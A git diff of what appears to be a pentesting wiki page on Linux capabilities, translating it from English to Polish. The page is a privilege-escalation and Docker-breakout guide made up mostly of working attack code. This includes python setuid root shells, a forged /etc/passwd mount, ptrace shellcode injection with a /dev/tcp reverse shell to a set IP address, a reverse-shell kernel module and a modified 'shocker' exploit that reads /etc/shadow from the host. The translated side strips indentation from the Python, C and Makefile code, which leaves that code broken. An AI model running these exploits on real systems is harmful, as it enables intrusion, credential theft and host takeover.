przypadkach może to być niebezpieczne.\ +Dlatego plik **konfiguracji usługi** pozwala **określić** **uprawnienia**, które chcesz, aby miała, **oraz** **użytkownika**, który powinien uruchomić usługę, aby uniknąć uruchamiania usługi z niepotrzebnymi uprawnieniami: ```bash [Service] User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` +## Możliwości w kontenerach Docker -## Capabilities in Docker Containers - -By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: - +Domyślnie Docker przypisuje kilka możliwości do kontenerów. Bardzo łatwo jest sprawdzić, które to możliwości, uruchamiając: ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: - BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap +BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap # Add a capabilities docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash @@ -345,21 +309,11 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` - -​ - -
- -​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## Privesc/Container Escape -Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. - -You can force capabilities upon programs using `setcap`, and query these using `getcap`: +Capabilities są przydatne, gdy **chcesz ograniczyć własne procesy po wykonaniu operacji z uprawnieniami** (np. po skonfigurowaniu chroot i powiązaniu z gniazdem). Mogą być jednak wykorzystywane poprzez przekazywanie złośliwych poleceń lub argumentów, które są następnie uruchamiane jako root. +Możesz wymusić możliwości na programach za pomocą `setcap`, a zapytać o nie za pomocą `getcap`: ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -368,19 +322,15 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` +`+ep` oznacza, że dodajesz zdolność („-” usunęłoby ją) jako Efektywną i Dozwoloną. -The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted. - -To identify programs in a system or folder with capabilities: - +Aby zidentyfikować programy w systemie lub folderze z zdolnościami: ```bash getcap -r / 2>/dev/null ``` +### Przykład wykorzystania -### Exploitation example - -In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: - +W następującym przykładzie binarka `/usr/bin/python2.6` została uznana za podatną na privesc: ```bash setcap cap_setuid+ep /usr/bin/python2.7 /usr/bin/python2.7 = cap_setuid+ep @@ -388,46 +338,38 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` - -**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**: - +**Capabilities** potrzebne przez `tcpdump`, aby **pozwolić dowolnemu użytkownikowi na sniffowanie pakietów**: ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` +### Szczególny przypadek "pustych" możliwości -### The special case of "empty" capabilities +[Z dokumentacji](https://man7.org/linux/man-pages/man7/capabilities.7.html): Należy zauważyć, że można przypisać puste zestawy możliwości do pliku programu, a zatem możliwe jest stworzenie programu z ustawionym identyfikatorem użytkownika root, który zmienia efektywny i zapisany identyfikator użytkownika procesu wykonującego program na 0, ale nie przyznaje żadnych możliwości temu procesowi. Innymi słowy, jeśli masz binarny plik, który: -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: +1. nie jest własnością roota +2. nie ma ustawionych bitów `SUID`/`SGID` +3. ma ustawione puste możliwości (np.: `getcap myelf` zwraca `myelf =ep`) -1. is not owned by root -2. has no `SUID`/`SGID` bits set -3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`) - -then **that binary will run as root**. +to **ta binarka będzie działać jako root**. ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface. - -**Example with binary** +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** to bardzo potężna możliwość w systemie Linux, często porównywana do poziomu bliskiego roota z powodu swoich rozległych **uprawnień administracyjnych**, takich jak montowanie urządzeń czy manipulowanie funkcjami jądra. Chociaż jest niezbędna dla kontenerów symulujących całe systemy, **`CAP_SYS_ADMIN` stwarza znaczące wyzwania bezpieczeństwa**, szczególnie w środowiskach kontenerowych, z powodu swojego potencjału do eskalacji uprawnień i kompromitacji systemu. Dlatego jej użycie wymaga rygorystycznych ocen bezpieczeństwa i ostrożnego zarządzania, z silnym naciskiem na rezygnację z tej możliwości w kontenerach specyficznych dla aplikacji, aby przestrzegać **zasady najmniejszych uprawnień** i zminimalizować powierzchnię ataku. +**Przykład z binarką** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` - -Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: - +Używając Pythona, możesz zamontować zmodyfikowany plik _passwd_ na prawdziwym pliku _passwd_: ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" vim ./passwd #Change roots passwords of the fake passwd file ``` - -And finally **mount** the modified `passwd` file on `/etc/passwd`: - +A na koniec **zamontuj** zmodyfikowany plik `passwd` w `/etc/passwd`: ```python from ctypes import * libc = CDLL("libc.so.6") @@ -440,32 +382,28 @@ options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options) ``` +I będziesz mógł **`su` jako root** używając hasła "password". -And you will be able to **`su` as root** using password "password". - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**Przykład z środowiskiem (wyjście z Dockera)** +Możesz sprawdzić włączone możliwości wewnątrz kontenera docker za pomocą: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -Inside the previous output you can see that the SYS_ADMIN capability is enabled. +W poprzednim wyjściu widać, że zdolność SYS_ADMIN jest włączona. - **Mount** -This allows the docker container to **mount the host disk and access it freely**: - +To pozwala kontenerowi docker na **zamontowanie dysku hosta i swobodne do niego uzyskanie dostępu**: ```bash fdisk -l #Get disk name Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors @@ -477,12 +415,10 @@ mount /dev/sda /mnt/ #Mount it cd /mnt chroot ./ bash #You have a shell inside the docker hosts disk ``` +- **Pełny dostęp** -- **Full access** - -In the previous method we managed to access the docker host disk.\ -In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH: - +W poprzedniej metodzie udało nam się uzyskać dostęp do dysku hosta docker.\ +W przypadku, gdy stwierdzisz, że host uruchamia serwer **ssh**, możesz **utworzyć użytkownika na dysku hosta docker** i uzyskać do niego dostęp przez SSH: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -496,15 +432,13 @@ nc -v -n -w2 -z 172.17.0.1 1-65535 chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` - ## CAP_SYS_PTRACE -**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. +**Oznacza to, że możesz uciec z kontenera, wstrzykując shellcode do procesu działającego w hoście.** Aby uzyskać dostęp do procesów działających w hoście, kontener musi być uruchomiony przynajmniej z **`--pid=host`**. -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53). - -**Example with binary (python)** +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** przyznaje możliwość korzystania z funkcji debugowania i śledzenia wywołań systemowych dostarczanych przez `ptrace(2)` oraz wywołań cross-memory attach, takich jak `process_vm_readv(2)` i `process_vm_writev(2)`. Chociaż jest to potężne narzędzie do celów diagnostycznych i monitorujących, jeśli `CAP_SYS_PTRACE` jest włączone bez restrykcyjnych środków, takich jak filtr seccomp na `ptrace(2)`, może to znacząco osłabić bezpieczeństwo systemu. W szczególności może być wykorzystywane do obejścia innych ograniczeń bezpieczeństwa, zwłaszcza tych nałożonych przez seccomp, co zostało udowodnione przez [dowody koncepcji (PoC) takie jak ten](https://gist.github.com/thejh/8346f47e359adecd1d53). +**Przykład z binarnym (python)** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_ptrace+ep @@ -524,35 +458,35 @@ PTRACE_DETACH = 17 # Structure defined in # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct class user_regs_struct(ctypes.Structure): - _fields_ = [ - ("r15", ctypes.c_ulonglong), - ("r14", ctypes.c_ulonglong), - ("r13", ctypes.c_ulonglong), - ("r12", ctypes.c_ulonglong), - ("rbp", ctypes.c_ulonglong), - ("rbx", ctypes.c_ulonglong), - ("r11", ctypes.c_ulonglong), - ("r10", ctypes.c_ulonglong), - ("r9", ctypes.c_ulonglong), - ("r8", ctypes.c_ulonglong), - ("rax", ctypes.c_ulonglong), - ("rcx", ctypes.c_ulonglong), - ("rdx", ctypes.c_ulonglong), - ("rsi", ctypes.c_ulonglong), - ("rdi", ctypes.c_ulonglong), - ("orig_rax", ctypes.c_ulonglong), - ("rip", ctypes.c_ulonglong), - ("cs", ctypes.c_ulonglong), - ("eflags", ctypes.c_ulonglong), - ("rsp", ctypes.c_ulonglong), - ("ss", ctypes.c_ulonglong), - ("fs_base", ctypes.c_ulonglong), - ("gs_base", ctypes.c_ulonglong), - ("ds", ctypes.c_ulonglong), - ("es", ctypes.c_ulonglong), - ("fs", ctypes.c_ulonglong), - ("gs", ctypes.c_ulonglong), - ] +_fields_ = [ +("r15", ctypes.c_ulonglong), +("r14", ctypes.c_ulonglong), +("r13", ctypes.c_ulonglong), +("r12", ctypes.c_ulonglong), +("rbp", ctypes.c_ulonglong), +("rbx", ctypes.c_ulonglong), +("r11", ctypes.c_ulonglong), +("r10", ctypes.c_ulonglong), +("r9", ctypes.c_ulonglong), +("r8", ctypes.c_ulonglong), +("rax", ctypes.c_ulonglong), +("rcx", ctypes.c_ulonglong), +("rdx", ctypes.c_ulonglong), +("rsi", ctypes.c_ulonglong), +("rdi", ctypes.c_ulonglong), +("orig_rax", ctypes.c_ulonglong), +("rip", ctypes.c_ulonglong), +("cs", ctypes.c_ulonglong), +("eflags", ctypes.c_ulonglong), +("rsp", ctypes.c_ulonglong), +("ss", ctypes.c_ulonglong), +("fs_base", ctypes.c_ulonglong), +("gs_base", ctypes.c_ulonglong), +("ds", ctypes.c_ulonglong), +("es", ctypes.c_ulonglong), +("fs", ctypes.c_ulonglong), +("gs", ctypes.c_ulonglong), +] libc = ctypes.CDLL("libc.so.6") @@ -576,13 +510,13 @@ shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5 # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): - # Convert the byte to little endian. - shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) - shellcode_byte_little_endian=struct.pack("& /dev/tcp/192.168.115.135/5656 0>&1'") ``` - -You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). +Nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, ale zostanie ono wykonane przez ten proces (więc uzyskaj rev shell). > [!WARNING] -> If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. +> Jeśli otrzymasz błąd "No symbol "system" in current context.", sprawdź poprzedni przykład ładowania shellcode w programie za pomocą gdb. -**Example with environment (Docker breakout) - Shellcode Injection** - -You can check the enabled capabilities inside the docker container using: +**Przykład z środowiskiem (wyjście z Dockera) - Wstrzykiwanie shellcode** +Możesz sprawdzić włączone możliwości wewnątrz kontenera docker za pomocą: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root ``` +List **procesy** działające w **hoście** `ps -eaf` -List **processes** running in the **host** `ps -eaf` - -1. Get the **architecture** `uname -m` -2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) -4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` -5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` +1. Uzyskaj **architekturę** `uname -m` +2. Znajdź **shellcode** dla architektury ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. Znajdź **program** do **wstrzykiwania** **shellcode** do pamięci procesu ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) +4. **Zmodyfikuj** **shellcode** w programie i **skompiluj** go `gcc inject.c -o inject` +5. **Wstrzyknij** go i zdobądź swoją **powłokę**: `./inject 299; nc 172.17.0.1 5600` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation. -**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** upoważnia proces do **ładowania i usuwania modułów jądra (`init_module(2)`, `finit_module(2)` i `delete_module(2)` system calls)**, oferując bezpośredni dostęp do podstawowych operacji jądra. Ta zdolność stwarza krytyczne ryzyko bezpieczeństwa, ponieważ umożliwia eskalację uprawnień i całkowite kompromitowanie systemu poprzez umożliwienie modyfikacji jądra, co omija wszystkie mechanizmy zabezpieczeń Linuxa, w tym Linux Security Modules i izolację kontenerów. +**To oznacza, że możesz** **wstawiać/usuwać moduły jądra z/do jądra maszyny hosta.** -**Example with binary** - -In the following example the binary **`python`** has this capability. +**Przykład z binarnym** +W poniższym przykładzie binarny **`python`** ma tę zdolność. ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` - -By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\ -In order to abuse this, lets create a fake **lib/modules** folder: - +Domyślnie polecenie **`modprobe`** sprawdza listę zależności i pliki map w katalogu **`/lib/modules/$(uname -r)`**.\ +Aby to wykorzystać, stwórzmy fałszywy folder **lib/modules**: ```bash mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` - -Then **compile the kernel module you can find 2 examples below and copy** it to this folder: - +Następnie **skompiluj moduł jądra, który znajdziesz w 2 przykładach poniżej i skopiuj** go do tego folderu: ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` - -Finally, execute the needed python code to load this kernel module: - +Na koniec wykonaj potrzebny kod Pythona, aby załadować ten moduł jądra: ```python import kmod km = kmod.Kmod() km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") km.modprobe("reverse-shell") ``` +**Przykład 2 z binarnym** -**Example 2 with binary** - -In the following example the binary **`kmod`** has this capability. - +W następującym przykładzie binarny **`kmod`** ma tę zdolność. ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep ``` +Co oznacza, że możliwe jest użycie polecenia **`insmod`** do wstawienia modułu jądra. Postępuj zgodnie z poniższym przykładem, aby uzyskać **reverse shell**, nadużywając tego przywileju. -Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**Przykład z środowiskiem (wyjście z Dockera)** +Możesz sprawdzić włączone możliwości wewnątrz kontenera docker za pomocą: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +W poprzednim wyjściu możesz zobaczyć, że zdolność **SYS_MODULE** jest włączona. -Inside the previous output you can see that the **SYS_MODULE** capability is enabled. - -**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: - +**Utwórz** **moduł jądra**, który będzie wykonywał powłokę zwrotną oraz **Makefile**, aby go **skompilować**: ```c:reverse-shell.c #include #include @@ -779,11 +689,11 @@ static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/ // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { - return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { - printk(KERN_INFO "Exiting\n"); +printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); @@ -794,26 +704,22 @@ module_exit(reverse_shell_exit); obj-m +=reverse-shell.o all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ``` - > [!WARNING] -> The blank char before each make word in the Makefile **must be a tab, not spaces**! - -Execute `make` to compile it. +> Pusty znak przed każdym słowem make w Makefile **musi być tabulatorem, a nie spacjami**! +Wykonaj `make`, aby skompilować. ``` ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade ``` - -Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: - +Na koniec uruchom `nc` w jednym shellu i **załaduj moduł** z innego, a przechwycisz shell w procesie nc: ```bash #Shell 1 nc -lvnp 4444 @@ -821,67 +727,57 @@ nc -lvnp 4444 #Shell 2 insmod reverse-shell.ko #Launch the reverse shell ``` +**Kod tej techniki został skopiowany z laboratorium "Abusing SYS_MODULE Capability" z** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) -**The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) +Inny przykład tej techniki można znaleźć w [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) umożliwia procesowi **obejście uprawnień do odczytu plików oraz do odczytu i wykonywania katalogów**. Jego główne zastosowanie dotyczy wyszukiwania lub odczytu plików. Jednak pozwala również procesowi na użycie funkcji `open_by_handle_at(2)`, która może uzyskać dostęp do dowolnego pliku, w tym tych poza przestrzenią montowania procesu. Uchwycenie używane w `open_by_handle_at(2)` powinno być nieprzezroczystym identyfikatorem uzyskanym za pomocą `name_to_handle_at(2)`, ale może zawierać wrażliwe informacje, takie jak numery i-node, które są podatne na manipulacje. Potencjał do wykorzystania tej zdolności, szczególnie w kontekście kontenerów Docker, został zaprezentowany przez Sebastiana Krahmera za pomocą exploita shocker, jak analizowano [tutaj](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +**Oznacza to, że możesz** **obejść kontrole uprawnień do odczytu plików oraz kontrole uprawnień do odczytu/wykonywania katalogów.** -**Example with binary** - -The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file: +**Przykład z binarnym** +Binarne będzie mogło odczytać dowolny plik. Więc, jeśli plik taki jak tar ma tę zdolność, będzie mógł odczytać plik shadow: ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp cd /tmp tar -cxf shadow.tar.gz ``` +**Przykład z binary2** -**Example with binary2** - -In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do: - +W tym przypadku załóżmy, że **`python`** binarka ma tę zdolność. Aby wylistować pliki roota, możesz zrobić: ```python import os for r, d, f in os.walk('/root'): - for filename in f: - print(filename) +for filename in f: +print(filename) ``` - -And in order to read a file you could do: - +Aby odczytać plik, możesz zrobić: ```python print(open("/etc/shadow", "r").read()) ``` +**Przykład w środowisku (wyjście z Dockera)** -**Example in Environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +Możesz sprawdzić włączone możliwości wewnątrz kontenera dockera, używając: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +W poprzednim wyniku możesz zobaczyć, że zdolność **DAC_READ_SEARCH** jest włączona. W rezultacie kontener może **debugować procesy**. -Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. As a result, the container can **debug processes**. - -You can learn how the following exploiting works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP_DAC_READ_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open_by_handle_at(2)**_ and **could allow our process to sensitive files opened by other processes**. - -The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.** +Możesz dowiedzieć się, jak działa poniższe wykorzystanie w [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), ale w skrócie **CAP_DAC_READ_SEARCH** nie tylko pozwala nam przechodzić przez system plików bez sprawdzania uprawnień, ale także wyraźnie usuwa wszelkie kontrole do _**open_by_handle_at(2)**_ i **może pozwolić naszemu procesowi na dostęp do wrażliwych plików otwartych przez inne procesy**. +Oryginalne wykorzystanie, które nadużywa tych uprawnień do odczytu plików z hosta, można znaleźć tutaj: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), poniżej znajduje się **zmodyfikowana wersja, która pozwala wskazać plik, który chcesz odczytać jako pierwszy argument i zrzucić go do pliku.** ```c #include #include @@ -898,202 +794,186 @@ The original exploit that abuse this permissions to read files from the host can // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char *msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle *h) { - fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, - h->handle_type); - for (int i = 0; i < h->handle_bytes; ++i) { - fprintf(stderr,"0x%02x", h->f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr,"\n"); - if (i < h->handle_bytes - 1) - fprintf(stderr,", "); - } - fprintf(stderr,"};\n"); +fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, +h->handle_type); +for (int i = 0; i < h->handle_bytes; ++i) { +fprintf(stderr,"0x%02x", h->f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr,"\n"); +if (i < h->handle_bytes - 1) +fprintf(stderr,", "); +} +fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR *dir = NULL; - struct dirent *de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); - oh->handle_type = 1; - oh->handle_bytes = 8; - return 1; - } +int fd; +uint32_t ino = 